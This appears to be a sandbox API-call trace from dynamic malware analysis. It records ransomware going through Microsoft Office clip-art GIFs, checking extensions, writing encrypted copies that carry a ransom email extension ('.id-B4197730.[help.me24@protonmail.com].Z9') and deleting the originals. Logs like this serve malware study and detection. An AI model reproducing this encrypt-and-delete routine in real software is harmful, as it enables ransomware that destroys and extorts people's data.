	[0081.343] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.343] lstrlenW (lpString=".xlsx") returned 5
	[0081.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.343] lstrlenW (lpString=".ppt") returned 4
	[0081.343] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0081.343] lstrlenW (lpString=".zip") returned 4
	[0081.343] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.343] lstrlenW (lpString=".rar") returned 4
	[0081.343] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.343] lstrlenW (lpString=".bz2") returned 4
	[0081.343] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.343] lstrlenW (lpString=".7z") returned 3
	[0081.343] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0081.343] lstrlenW (lpString=".dbf") returned 4
	[0081.343] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0081.343] lstrlenW (lpString=".1cd") returned 4
	[0081.344] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0081.344] lstrlenW (lpString=".jpg") returned 4
	[0081.344] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.344] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.344] lstrlenW (lpString="AG00120_.GIF") returned 12
	[0081.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.344] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3484) returned 1
	[0081.344] CloseHandle (hObject=0x384) returned 1
	[0081.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220
	[0081.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.344] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.344] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.345] GetLastError () returned 0x0
	[0081.345] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xd9c, lpOverlapped=0x0) returned 1
	[0081.346] WriteFile (in: hFile=0x38c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xda0, lpOverlapped=0x0) returned 1
	[0081.347] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.347] WriteFile (in: hFile=0x38c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.347] SetEndOfFile (hFile=0x38c) returned 1
	[0081.348] CloseHandle (hObject=0x38c) returned 1
	[0081.348] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.349] SetEndOfFile (hFile=0x384) returned 1
	[0081.349] CloseHandle (hObject=0x384) returned 1
	[0081.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 1
	[0081.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0081.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0081.350] lstrlenW (lpString=".doc") returned 4
	[0081.350] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.350] lstrlenW (lpString=".docx") returned 5
	[0081.350] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.350] lstrlenW (lpString=".pdf") returned 4
	[0081.350] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.350] lstrlenW (lpString=".xls") returned 4
	[0081.350] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.350] lstrlenW (lpString=".xlsx") returned 5
	[0081.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.350] lstrlenW (lpString=".ppt") returned 4
	[0081.350] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0081.351] lstrlenW (lpString=".zip") returned 4
	[0081.351] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.351] lstrlenW (lpString=".rar") returned 4
	[0081.351] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.351] lstrlenW (lpString=".bz2") returned 4
	[0081.351] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.351] lstrlenW (lpString=".7z") returned 3
	[0081.351] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0081.351] lstrlenW (lpString=".dbf") returned 4
	[0081.351] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0081.351] lstrlenW (lpString=".1cd") returned 4
	[0081.351] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0081.351] lstrlenW (lpString=".jpg") returned 4
	[0081.351] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0081.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0081.351] lstrlenW (lpString=".doc") returned 4
	[0081.351] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.351] lstrlenW (lpString=".docx") returned 5
	[0081.351] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.351] lstrlenW (lpString=".pdf") returned 4
	[0081.351] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.351] lstrlenW (lpString=".xls") returned 4
	[0081.351] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.351] lstrlenW (lpString=".xlsx") returned 5
	[0081.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.351] lstrlenW (lpString=".ppt") returned 4
	[0081.351] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0081.351] lstrlenW (lpString=".zip") returned 4
	[0081.351] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.352] lstrlenW (lpString=".rar") returned 4
	[0081.352] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.352] lstrlenW (lpString=".bz2") returned 4
	[0081.352] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.352] lstrlenW (lpString=".7z") returned 3
	[0081.352] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0081.352] lstrlenW (lpString=".dbf") returned 4
	[0081.352] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0081.352] lstrlenW (lpString=".1cd") returned 4
	[0081.352] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0081.352] lstrlenW (lpString=".jpg") returned 4
	[0081.352] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.352] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.352] lstrlenW (lpString="AG00126_.GIF") returned 12
	[0081.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.352] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3140) returned 1
	[0081.352] CloseHandle (hObject=0x384) returned 1
	[0081.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220
	[0081.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.353] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.353] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.353] GetLastError () returned 0x0
	[0081.353] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xc44, lpOverlapped=0x0) returned 1
	[0081.355] WriteFile (in: hFile=0x38c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xc50, lpOverlapped=0x0) returned 1
	[0081.356] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.356] WriteFile (in: hFile=0x38c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.356] SetEndOfFile (hFile=0x38c) returned 1
	[0081.356] CloseHandle (hObject=0x38c) returned 1
	[0081.433] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.433] SetEndOfFile (hFile=0x384) returned 1
	[0081.434] CloseHandle (hObject=0x384) returned 1
	[0081.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 1
	[0081.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0081.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0081.478] lstrlenW (lpString=".doc") returned 4
	[0081.478] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.478] lstrlenW (lpString=".docx") returned 5
	[0081.478] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.478] lstrlenW (lpString=".pdf") returned 4
	[0081.478] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.478] lstrlenW (lpString=".xls") returned 4
	[0081.478] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.478] lstrlenW (lpString=".xlsx") returned 5
	[0081.478] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.478] lstrlenW (lpString=".ppt") returned 4
	[0081.478] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0081.478] lstrlenW (lpString=".zip") returned 4
	[0081.478] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.478] lstrlenW (lpString=".rar") returned 4
	[0081.478] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.478] lstrlenW (lpString=".bz2") returned 4
	[0081.478] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.478] lstrlenW (lpString=".7z") returned 3
	[0081.478] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0081.478] lstrlenW (lpString=".dbf") returned 4
	[0081.478] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0081.478] lstrlenW (lpString=".1cd") returned 4
	[0081.478] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0081.478] lstrlenW (lpString=".jpg") returned 4
	[0081.478] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0081.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0081.479] lstrlenW (lpString=".doc") returned 4
	[0081.479] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.479] lstrlenW (lpString=".docx") returned 5
	[0081.479] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.479] lstrlenW (lpString=".pdf") returned 4
	[0081.479] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.479] lstrlenW (lpString=".xls") returned 4
	[0081.479] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.479] lstrlenW (lpString=".xlsx") returned 5
	[0081.479] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.479] lstrlenW (lpString=".ppt") returned 4
	[0081.479] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0081.479] lstrlenW (lpString=".zip") returned 4
	[0081.479] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.479] lstrlenW (lpString=".rar") returned 4
	[0081.479] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.479] lstrlenW (lpString=".bz2") returned 4
	[0081.479] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.479] lstrlenW (lpString=".7z") returned 3
	[0081.479] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0081.479] lstrlenW (lpString=".dbf") returned 4
	[0081.479] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0081.479] lstrlenW (lpString=".1cd") returned 4
	[0081.479] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0081.479] lstrlenW (lpString=".jpg") returned 4
	[0081.479] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.479] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.480] lstrlenW (lpString="AG00157_.GIF") returned 12
	[0081.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.480] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=4955) returned 1
	[0081.480] CloseHandle (hObject=0x384) returned 1
	[0081.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 0x220
	[0081.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.485] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.485] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.485] GetLastError () returned 0x0
	[0081.485] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x135b, lpOverlapped=0x0) returned 1
	[0081.503] WriteFile (in: hFile=0x370, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1360, lpOverlapped=0x0) returned 1
	[0081.504] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.504] WriteFile (in: hFile=0x370, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.504] SetEndOfFile (hFile=0x370) returned 1
	[0081.505] CloseHandle (hObject=0x370) returned 1
	[0081.505] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.505] SetEndOfFile (hFile=0x384) returned 1
	[0081.506] CloseHandle (hObject=0x384) returned 1
	[0081.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 1
	[0081.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0081.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0081.507] lstrlenW (lpString=".doc") returned 4
	[0081.507] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.507] lstrlenW (lpString=".docx") returned 5
	[0081.507] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.507] lstrlenW (lpString=".pdf") returned 4
	[0081.507] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.507] lstrlenW (lpString=".xls") returned 4
	[0081.507] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.507] lstrlenW (lpString=".xlsx") returned 5
	[0081.507] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.507] lstrlenW (lpString=".ppt") returned 4
	[0081.507] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0081.507] lstrlenW (lpString=".zip") returned 4
	[0081.507] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.507] lstrlenW (lpString=".rar") returned 4
	[0081.507] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.507] lstrlenW (lpString=".bz2") returned 4
	[0081.507] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.507] lstrlenW (lpString=".7z") returned 3
	[0081.507] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0081.508] lstrlenW (lpString=".dbf") returned 4
	[0081.508] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0081.508] lstrlenW (lpString=".1cd") returned 4
	[0081.508] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0081.508] lstrlenW (lpString=".jpg") returned 4
	[0081.508] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0081.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0081.508] lstrlenW (lpString=".doc") returned 4
	[0081.508] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.508] lstrlenW (lpString=".docx") returned 5
	[0081.508] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.508] lstrlenW (lpString=".pdf") returned 4
	[0081.508] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.508] lstrlenW (lpString=".xls") returned 4
